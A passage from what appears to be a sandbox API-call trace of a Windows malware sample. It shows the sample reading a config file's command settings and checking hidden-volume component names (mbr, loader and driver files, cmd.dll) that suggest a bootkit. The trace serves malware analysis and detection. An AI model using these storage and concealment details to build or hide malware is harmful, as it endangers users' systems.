out: FastMutex=0xfffffa80027d3898) [0123.152] KeLeaveCriticalRegion () [0123.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.152] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.152] KeEnterCriticalRegion () [0123.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.152] KeLeaveCriticalRegion () [0123.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.152] KeEnterCriticalRegion () [0123.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.152] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.152] IdePortDispatch () returned 0x103 [0123.152] KeWaitForMutexObject () returned 0x0 [0123.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.152] KeLeaveCriticalRegion () [0123.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.153] KeEnterCriticalRegion () [0123.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbc000 [0123.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.153] IdePortDispatch () returned 0x103 [0123.153] KeWaitForMutexObject () returned 0x0 [0123.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.153] IdePortDispatch () returned 0x103 [0123.153] KeWaitForMutexObject () returned 0x0 [0123.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.153] KeLeaveCriticalRegion () [0123.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.154] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.154] KeEnterCriticalRegion () [0123.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] KeLeaveCriticalRegion () [0123.154] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.154] KeEnterCriticalRegion () [0123.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.154] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] KeLeaveCriticalRegion () [0123.154] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.154] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.154] KeEnterCriticalRegion () [0123.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] KeLeaveCriticalRegion () [0123.154] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.154] ReleaseMutex (hMutex=0xf0) returned 1 [0123.154] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.154] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.154] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.154] KeEnterCriticalRegion () [0123.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.154] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.154] IdePortDispatch () returned 0x103 [0123.154] KeWaitForMutexObject () returned 0x0 [0123.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.155] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.155] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.155] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.155] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.155] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be77a0 [0123.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] KeLeaveCriticalRegion () [0123.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.155] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.155] KeEnterCriticalRegion () [0123.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] KeLeaveCriticalRegion () [0123.155] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.155] KeEnterCriticalRegion () [0123.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.155] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.155] IdePortDispatch () returned 0x103 [0123.155] KeWaitForMutexObject () returned 0x0 [0123.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] KeLeaveCriticalRegion () [0123.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.155] KeEnterCriticalRegion () [0123.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbd000 [0123.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.156] IdePortDispatch () returned 0x103 [0123.156] KeWaitForMutexObject () returned 0x0 [0123.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.156] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.156] IdePortDispatch () returned 0x103 [0123.156] KeWaitForMutexObject () returned 0x0 [0123.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.156] KeLeaveCriticalRegion () [0123.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.157] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.157] KeEnterCriticalRegion () [0123.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] KeLeaveCriticalRegion () [0123.157] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.157] KeEnterCriticalRegion () [0123.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.157] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] KeLeaveCriticalRegion () [0123.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.157] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.157] KeEnterCriticalRegion () [0123.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] ExFreePoolWithTag (P=0xfffffa8003be77a0, Tag=0x0) [0123.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] KeLeaveCriticalRegion () [0123.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.157] ReleaseMutex (hMutex=0xf0) returned 1 [0123.157] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.157] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.157] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.157] KeEnterCriticalRegion () [0123.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.157] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.157] IdePortDispatch () returned 0x103 [0123.157] KeWaitForMutexObject () returned 0x0 [0123.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.157] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.157] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.157] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.157] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea010 [0123.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] KeLeaveCriticalRegion () [0123.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.158] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.158] KeEnterCriticalRegion () [0123.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] KeLeaveCriticalRegion () [0123.158] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.158] KeEnterCriticalRegion () [0123.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.158] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.158] IdePortDispatch () returned 0x103 [0123.158] KeWaitForMutexObject () returned 0x0 [0123.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] KeLeaveCriticalRegion () [0123.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.158] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.158] KeEnterCriticalRegion () [0123.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbe000 [0123.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.158] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.158] IdePortDispatch () returned 0x103 [0123.159] KeWaitForMutexObject () returned 0x0 [0123.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.159] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.159] IdePortDispatch () returned 0x103 [0123.159] KeWaitForMutexObject () returned 0x0 [0123.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] KeLeaveCriticalRegion () [0123.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.160] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.160] KeEnterCriticalRegion () [0123.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] KeLeaveCriticalRegion () [0123.160] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.160] KeEnterCriticalRegion () [0123.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.160] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] KeLeaveCriticalRegion () [0123.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.160] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.160] KeEnterCriticalRegion () [0123.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] ExFreePoolWithTag (P=0xfffffa8003bea010, Tag=0x0) [0123.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.160] KeLeaveCriticalRegion () [0123.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.161] ReleaseMutex (hMutex=0xf0) returned 1 [0123.161] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.161] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.161] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.161] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.161] KeEnterCriticalRegion () [0123.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.161] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.161] IdePortDispatch () returned 0x103 [0123.161] KeWaitForMutexObject () returned 0x0 [0123.161] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.161] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.161] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.161] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.161] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.161] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.161] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.161] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.161] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.161] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.161] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.161] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.161] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.161] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.161] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.161] KeLeaveCriticalRegion () [0123.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.161] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.161] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.161] KeEnterCriticalRegion () [0123.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.162] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.162] IdePortDispatch () returned 0x103 [0123.162] KeWaitForMutexObject () returned 0x0 [0123.162] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.162] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.162] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.162] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.162] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.162] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.162] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.162] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.162] _strnicmp 